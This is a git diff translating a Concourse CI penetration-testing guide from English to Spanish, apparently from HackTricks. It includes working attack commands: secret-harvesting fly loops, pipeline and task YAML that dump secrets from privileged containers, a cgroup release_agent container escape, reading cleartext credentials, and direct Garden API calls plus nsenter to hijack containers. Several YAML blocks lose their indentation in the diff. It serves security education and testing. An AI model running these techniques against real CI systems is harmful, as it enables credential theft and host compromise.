versiones de recursos. El [scheduler](https://concourse-ci.org/scheduler.html) es responsable de programar compilaciones para un trabajo y el [build tracker](https://concourse-ci.org/build-tracker.html) es responsable de ejecutar cualquier compilación programada. El [garbage collector](https://concourse-ci.org/garbage-collector.html) es el mecanismo de limpieza para eliminar cualquier objeto no utilizado o desactualizado, como contenedores y volúmenes. -#### TSA: worker registration & forwarding +#### TSA: registro de trabajadores y reenvío -The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc). +El TSA es un **servidor SSH construido a medida** que se utiliza únicamente para **registrar** de forma segura a los [**trabajadores**](https://concourse-ci.org/internals.html#architecture-worker) con el [ATC](https://concourse-ci.org/internals.html#component-atc). -The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer. +El TSA por **defecto escucha en el puerto `2222`**, y generalmente está colocalizado con el [ATC](https://concourse-ci.org/internals.html#component-atc) y detrás de un balanceador de carga. -The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa). +El **TSA implementa CLI a través de la conexión SSH,** soportando [**estos comandos**](https://concourse-ci.org/internals.html#component-tsa). #### Workers -In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim). +Para ejecutar tareas, Concourse debe tener algunos trabajadores. Estos trabajadores **se registran** a través del [TSA](https://concourse-ci.org/internals.html#component-tsa) y ejecutan los servicios [**Garden**](https://github.com/cloudfoundry-incubator/garden) y [**Baggageclaim**](https://github.com/concourse/baggageclaim). -- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**. -- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**. +- **Garden**: Esta es la **API de Gestión de Contenedores**, generalmente se ejecuta en **el puerto 7777** a través de **HTTP**. +- **Baggageclaim**: Esta es la **API de Gestión de Volúmenes**, generalmente se ejecuta en **el puerto 7788** a través de **HTTP**. ## References - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 4b778a804..01b8ce978 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -6,213 +6,202 @@ ### User Roles & Permissions -Concourse comes with five roles: +Concourse viene con cinco roles: -- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC. -- **owner**: Team owners can **modify everything within the team**. -- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings. -- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations. -- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines. +- _Concourse_ **Admin**: Este rol solo se otorga a los propietarios del **equipo principal** (equipo inicial predeterminado de concourse). Los administradores pueden **configurar otros equipos** (por ejemplo: `fly set-team`, `fly destroy-team`...). Los permisos de este rol no pueden ser afectados por RBAC. +- **owner**: Los propietarios del equipo pueden **modificar todo dentro del equipo**. +- **member**: Los miembros del equipo pueden **leer y escribir** dentro de los **activos del equipo** pero no pueden modificar la configuración del equipo. +- **pipeline-operator**: Los operadores de pipeline pueden realizar **operaciones de pipeline** como activar compilaciones y fijar recursos, sin embargo, no pueden actualizar las configuraciones de pipeline. +- **viewer**: Los espectadores del equipo tienen acceso **"solo de lectura" a un equipo** y sus pipelines. > [!NOTE] -> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> Además, **los permisos de los roles owner, member, pipeline-operator y viewer pueden ser modificados** configurando RBAC (configurando más específicamente sus acciones). Lee más sobre esto en: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) -Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them. +Ten en cuenta que Concourse **agrupa pipelines dentro de Equipos**. Por lo tanto, los usuarios que pertenecen a un Equipo podrán gestionar esos pipelines y **pueden existir varios Equipos**. Un usuario puede pertenecer a varios Equipos y tener diferentes permisos dentro de cada uno de ellos. ### Vars & Credential Manager -In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\ -[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\ -The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\ -Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`. +En las configuraciones YAML puedes configurar valores usando la sintaxis `((_source-name_:_secret-path_._secret-field_))`.\ +[De la documentación:](https://concourse-ci.org/vars.html#var-syntax) El **source-name es opcional**, y si se omite, se utilizará el [gestor de credenciales a nivel de clúster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), o el valor puede ser proporcionado [estáticamente](https://concourse-ci.org/vars.html#static-vars).\ +El **\_secret-field opcional**\_ especifica un campo en el secreto obtenido para leer. Si se omite, el gestor de credenciales puede optar por leer un 'campo predeterminado' del secreto obtenido si el campo existe.\ +Además, el _**secret-path**_ y _**secret-field**_ pueden estar rodeados por comillas dobles `"..."` si **contienen caracteres especiales** como `.` y `:`. Por ejemplo, `((source:"my.secret"."field:1"))` establecerá el _secret-path_ en `my.secret` y el _secret-field_ en `field:1`. #### Static Vars -Static vars can be specified in **tasks steps**: - +Las vars estáticas pueden ser especificadas en **pasos de tareas**: ```yaml - task: unit-1.13 - file: booklit/ci/unit.yml - vars: { tag: 1.13 } +file: booklit/ci/unit.yml +vars: { tag: 1.13 } ``` +Or usando los siguientes `fly` **argumentos**: -Or using the following `fly` **arguments**: +- `-v` o `--var` `NAME=VALUE` establece la cadena `VALUE` como el valor para la var `NAME`. +- `-y` o `--yaml-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la var `NAME`. +- `-i` o `--instance-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la var de instancia `NAME`. Consulta [Agrupación de Pipelines](https://concourse-ci.org/instanced-pipelines.html) para aprender más sobre las vars de instancia. +- `-l` o `--load-vars-from` `FILE` carga `FILE`, un documento YAML que contiene la asignación de nombres de var a valores, y los establece todos. -- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`. -- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`. -- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars. -- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all. +#### Gestión de Credenciales -#### Credential Management +Hay diferentes formas en que se puede **especificar un Gestor de Credenciales** en un pipeline, lee cómo en [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ +Además, Concourse admite diferentes gestores de credenciales: -There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ -Moreover, Concourse supports different credential managers: - -- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) -- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) -- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) -- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) -- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) -- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) -- [Caching credentials](https://concourse-ci.org/creds-caching.html) -- [Redacting credentials](https://concourse-ci.org/creds-redacting.html) -- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) +- [El gestor de credenciales Vault](https://concourse-ci.org/vault-credential-manager.html) +- [El gestor de credenciales CredHub](https://concourse-ci.org/credhub-credential-manager.html) +- [El gestor de credenciales AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html) +- [El gestor de credenciales AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html) +- [Gestor de Credenciales de Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html) +- [El gestor de credenciales Conjur](https://concourse-ci.org/conjur-credential-manager.html) +- [Credenciales en caché](https://concourse-ci.org/creds-caching.html) +- [Redacción de credenciales](https://concourse-ci.org/creds-redacting.html) +- [Reintentar recuperaciones fallidas](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them. +> Ten en cuenta que si tienes algún tipo de **acceso de escritura a Concourse** puedes crear trabajos para **exfiltrar esos secretos** ya que Concourse necesita poder acceder a ellos. -### Concourse Enumeration +### Enumeración de Concourse -In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file. +Para enumerar un entorno de concourse primero necesitas **reunir credenciales válidas** o encontrar un **token autenticado** probablemente en un archivo de configuración `.flyrc`. -#### Login and Current User enum +#### Inicio de sesión y enumeración de usuario actual -- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**: - - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- Get configured **targets**: - - `fly targets` -- Get if the configured **target connection** is still **valid**: - - `fly -t status` -- Get **role** of the user against the indicated target: - - `fly -t userinfo` +- Para iniciar sesión necesitas conocer el **endpoint**, el **nombre del equipo** (el predeterminado es `main`) y un **equipo al que pertenece el usuario**: +- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` +- Obtener **targets** configurados: +- `fly targets` +- Verificar si la **conexión de target configurada** sigue siendo **válida**: +- `fly -t status` +- Obtener el **rol** del usuario contra el target indicado: +- `fly -t userinfo` > [!NOTE] -> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials. +> Ten en cuenta que el **token de API** se **guarda** en `$HOME/.flyrc` por defecto, al saquear una máquina podrías encontrar allí las credenciales. -#### Teams & Users +#### Equipos y Usuarios -- Get a list of the Teams - - `fly -t teams` -- Get roles inside team - - `fly -t get-team -n ` -- Get a list of users - - `fly -t active-users` +- Obtener una lista de los Equipos +- `fly -t teams` +- Obtener roles dentro del equipo +- `fly -t get-team -n ` +- Obtener una lista de usuarios +- `fly -t active-users` #### Pipelines -- **List** pipelines: - - `fly -t pipelines -a` -- **Get** pipeline yaml (**sensitive information** might be found in the definition): - - `fly -t get-pipeline -p ` -- Get all pipeline **config declared vars** - - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them): - +- **Listar** pipelines: +- `fly -t pipelines -a` +- **Obtener** yaml de pipeline (**información sensible** podría encontrarse en la definición): +- `fly -t get-pipeline -p ` +- Obtener todas las **vars declaradas en la configuración del pipeline** +- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` +- Obtener todos los **nombres de secretos de pipelines utilizados** (si puedes crear/modificar un trabajo o secuestrar un contenedor podrías exfiltrarlos): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do - echo $pipename; - fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; - echo ""; +echo $pipename; +fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; +echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` +#### Contenedores y Trabajadores -#### Containers & Workers +- Listar **trabajadores**: +- `fly -t workers` +- Listar **contenedores**: +- `fly -t containers` +- Listar **construcciones** (para ver qué está en ejecución): +- `fly -t builds` -- List **workers**: - - `fly -t workers` -- List **containers**: - - `fly -t containers` -- List **builds** (to see what is running): - - `fly -t builds` +### Ataques de Concourse -### Concourse Attacks - -#### Credentials Brute-Force +#### Fuerza Bruta de Credenciales - admin:admin - test:test -#### Secrets and params enumeration +#### Enumeración de secretos y parámetros -In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them. +En la sección anterior vimos cómo puedes **obtener todos los nombres y vars de los secretos** utilizados por el pipeline. Las **vars pueden contener información sensible** y el nombre de los **secretos será útil más adelante para intentar robar**los. -#### Session inside running or recently run container - -If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using: +#### Sesión dentro de un contenedor en ejecución o recientemente ejecutado +Si tienes suficientes privilegios (**rol de miembro o más**) podrás **listar pipelines y roles** y simplemente obtener una **sesión dentro** del contenedor de `/` usando: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` +Con estos permisos, podrías ser capaz de: -With these permissions you might be able to: +- **Robar los secretos** dentro del **contenedor** +- Intentar **escapar** al nodo +- Enumerar/Abusar del **endpoint de metadatos de la nube** (desde el pod y desde el nodo, si es posible) -- **Steal the secrets** inside the **container** -- Try to **escape** to the node -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible) - -#### Pipeline Creation/Modification - -If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example: +#### Creación/Modificación de Pipeline +Si tienes suficientes privilegios (**rol de miembro o más**) podrás **crear/modificar nuevos pipelines.** Revisa este ejemplo: ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - echo "$SUPER_SECRET" - sleep 1000 - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +echo "$SUPER_SECRET" +sleep 1000 +params: +SUPER_SECRET: ((super.secret)) ``` +Con la **modificación/creación** de un nuevo pipeline podrás: -With the **modification/creation** of a new pipeline you will be able to: +- **Robar** los **secretos** (a través de su impresión o accediendo al contenedor y ejecutando `env`) +- **Escapar** al **nodo** (dándote suficientes privilegios - `privileged: true`) +- Enumerar/Abusar del **endpoint de metadatos de la nube** (desde el pod y desde el nodo) +- **Eliminar** el pipeline creado -- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`) -- **Escape** to the **node** (by giving you enough privileges - `privileged: true`) -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node) -- **Delete** created pipeline - -#### Execute Custom Task - -This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**): +#### Ejecutar Tarea Personalizada +Esto es similar al método anterior, pero en lugar de modificar/crear un nuevo pipeline completo, puedes **simplemente ejecutar una tarea personalizada** (que probablemente será mucho más **sigilosa**): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: - type: registry-image - source: - repository: ubuntu +type: registry-image +source: +repository: ubuntu run: - path: sh - args: - - -cx - - | - env - sleep 1000 +path: sh +args: +- -cx +- | +env +sleep 1000 params: - SUPER_SECRET: ((super.secret)) +SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` +#### Escapando al nodo desde una tarea privilegiada -#### Escaping to the node from privileged task - -In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". - -In the following PoC we are going to use the release_agent to escape with some small modifications: +En las secciones anteriores vimos cómo **ejecutar una tarea privilegiada con concourse**. Esto no le dará al contenedor exactamente el mismo acceso que la bandera privilegiada en un contenedor de docker. Por ejemplo, no verá el dispositivo del sistema de archivos del nodo en /dev, por lo que la escapatoria podría ser más "compleja". +En la siguiente PoC vamos a usar el release_agent para escapar con algunas pequeñas modificaciones: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - > [!WARNING] -> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node +> Como habrás notado, esto es solo un [**escape de release_agent regular**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) solo modificando la ruta del cmd en el nodo -#### Escaping to the node from a Worker container - -A regular release_agent escape with a minor modification is enough for this: +#### Escapando al nodo desde un contenedor Worker +Un escape de release_agent regular con una modificación menor es suficiente para esto: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` +#### Escapando al nodo desde el contenedor web -#### Escaping to the node from the Web container - -Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless). - -However, it stores **local credentials in clear text**: +Incluso si el contenedor web tiene algunas defensas deshabilitadas, **no se está ejecutando como un contenedor privilegiado común** (por ejemplo, **no puedes** **montar** y las **capacidades** son muy **limitadas**, por lo que todas las formas fáciles de escapar del contenedor son inútiles). +Sin embargo, almacena **credenciales locales en texto claro**: ```bash cat /concourse-auth/local-users test:test @@ -319,11 +304,9 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` +Puedes usar esas credenciales para **iniciar sesión en el servidor web** y **crear un contenedor privilegiado y escapar al nodo**. -You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**. - -In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info): - +En el entorno también puedes encontrar información para **acceder a la instancia de postgresql** que utiliza concourse (dirección, **nombre de usuario**, **contraseña** y base de datos, entre otra información): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -344,39 +327,35 @@ select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` - -#### Abusing Garden Service - Not a real Attack +#### Abusando del Servicio Garden - No es un Ataque Real > [!WARNING] -> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before +> Estas son solo algunas notas interesantes sobre el servicio, pero dado que solo está escuchando en localhost, estas notas no presentarán ningún impacto que no hayamos explotado antes. -By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections: +Por defecto, cada trabajador de concourse estará ejecutando un servicio [**Garden**](https://github.com/cloudfoundry/garden) en el puerto 7777. Este servicio es utilizado por el maestro web para indicar al trabajador **lo que necesita ejecutar** (descargar la imagen y ejecutar cada tarea). Esto suena bastante bien para un atacante, pero hay algunas buenas protecciones: -- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker. -- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service. - -Concourse workers run with high container privileges: +- Está **expuesto localmente** (127..0.0.1) y creo que cuando el trabajador se autentica contra la Web con el servicio SSH especial, se crea un túnel para que el servidor web pueda **hablar con cada servicio Garden** dentro de cada trabajador. +- El servidor web está **monitoreando los contenedores en ejecución cada pocos segundos**, y los contenedores **inesperados** son **eliminados**. Así que si quieres **ejecutar un contenedor personalizado** necesitas **manipular** la **comunicación** entre el servidor web y el servicio garden. +Los trabajadores de Concourse se ejecutan con altos privilegios de contenedor: ``` Container Runtime: docker Has Namespaces: - pid: true - user: false +pid: true +user: false AppArmor Profile: kernel Capabilities: - BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read +BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` - -However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated. +Sin embargo, técnicas como **montar** el dispositivo /dev del nodo o release_agent **no funcionarán** (ya que el dispositivo real con el sistema de archivos del nodo no es accesible, solo uno virtual). No podemos acceder a los procesos del nodo, por lo que escapar del nodo sin exploits de kernel se complica. > [!NOTE] -> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**. +> En la sección anterior vimos cómo escapar de un contenedor privilegiado, así que si podemos **ejecutar** comandos en un **contenedor privilegiado** creado por el **trabajador** **actual**, podríamos **escapar al nodo**. -Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it. - -**Getting inside a running privileged container** +Ten en cuenta que al jugar con concourse noté que cuando se genera un nuevo contenedor para ejecutar algo, los procesos del contenedor son accesibles desde el contenedor del trabajador, por lo que es como si un contenedor creara un nuevo contenedor dentro de él. +**Entrando en un contenedor privilegiado en ejecución** ```bash # Get current container curl 127.0.0.1:7777/containers @@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` +**Creando un nuevo contenedor privilegiado** -**Creating a new privileged container** - -You can very easily create a new container (just run a random UID) and execute something on it: - +Puedes crear muy fácilmente un nuevo contenedor (solo ejecuta un UID aleatorio) y ejecutar algo en él: ```bash curl -X POST http://127.0.0.1:7777/containers \ - -H 'Content-Type: application/json' \ - -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' +-H 'Content-Type: application/json' \ +-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` - -However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers: - +Sin embargo, el servidor web está verificando cada pocos segundos los contenedores que se están ejecutando, y si se descubre uno inesperado, será eliminado. Como la comunicación se realiza en HTTP, podrías manipular la comunicación para evitar la eliminación de contenedores inesperados: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. @@ -434,13 +409,8 @@ Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` - -## References +## Referencias - https://concourse-ci.org/vars.html {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 0cc6363a7..315c60137 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -1,26 +1,23 @@ -# Concourse Lab Creation +# Creación del Laboratorio Concourse {{#include ../../banners/hacktricks-training.md}} -## Testing Environment +## Entorno de Pruebas -### Running Concourse +### Ejecutando Concourse -#### With Docker-Compose - -This docker-compose file simplifies the installation to do some tests with concourse: +#### Con Docker-Compose +Este archivo docker-compose simplifica la instalación para realizar algunas pruebas con concourse: ```bash wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` +Puedes descargar la línea de comandos `fly` para tu sistema operativo desde la web en `127.0.0.1:8080` -You can download the command line `fly` for your OS from the web in `127.0.0.1:8080` - -#### With Kubernetes (Recommended) - -You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). +#### Con Kubernetes (Recomendado) +Puedes desplegar concourse fácilmente en **Kubernetes** (en **minikube** por ejemplo) usando el helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` - -After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets: - +Después de generar el entorno de concourse, podrías generar un secreto y dar acceso al SA que se ejecuta en concourse web para acceder a los secretos de K8s: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: - name: read-secrets +name: read-secrets rules: - apiGroups: [""] - resources: ["secrets"] - verbs: ["get"] +resources: ["secrets"] +verbs: ["get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: - name: read-secrets-concourse +name: read-secrets-concourse roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: read-secrets +apiGroup: rbac.authorization.k8s.io +kind: ClusterRole +name: read-secrets subjects: - kind: ServiceAccount - name: concourse-release-web - namespace: default +name: concourse-release-web +namespace: default --- apiVersion: v1 kind: Secret metadata: - name: super - namespace: concourse-release-main +name: super +namespace: concourse-release-main type: Opaque data: - secret: MWYyZDFlMmU2N2Rm +secret: MWYyZDFlMmU2N2Rm ' | kubectl apply -f - ``` +### Crear Pipeline -### Create Pipeline - -A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html). +Un pipeline está compuesto por una lista de [Jobs](https://concourse-ci.org/jobs.html) que contiene una lista ordenada de 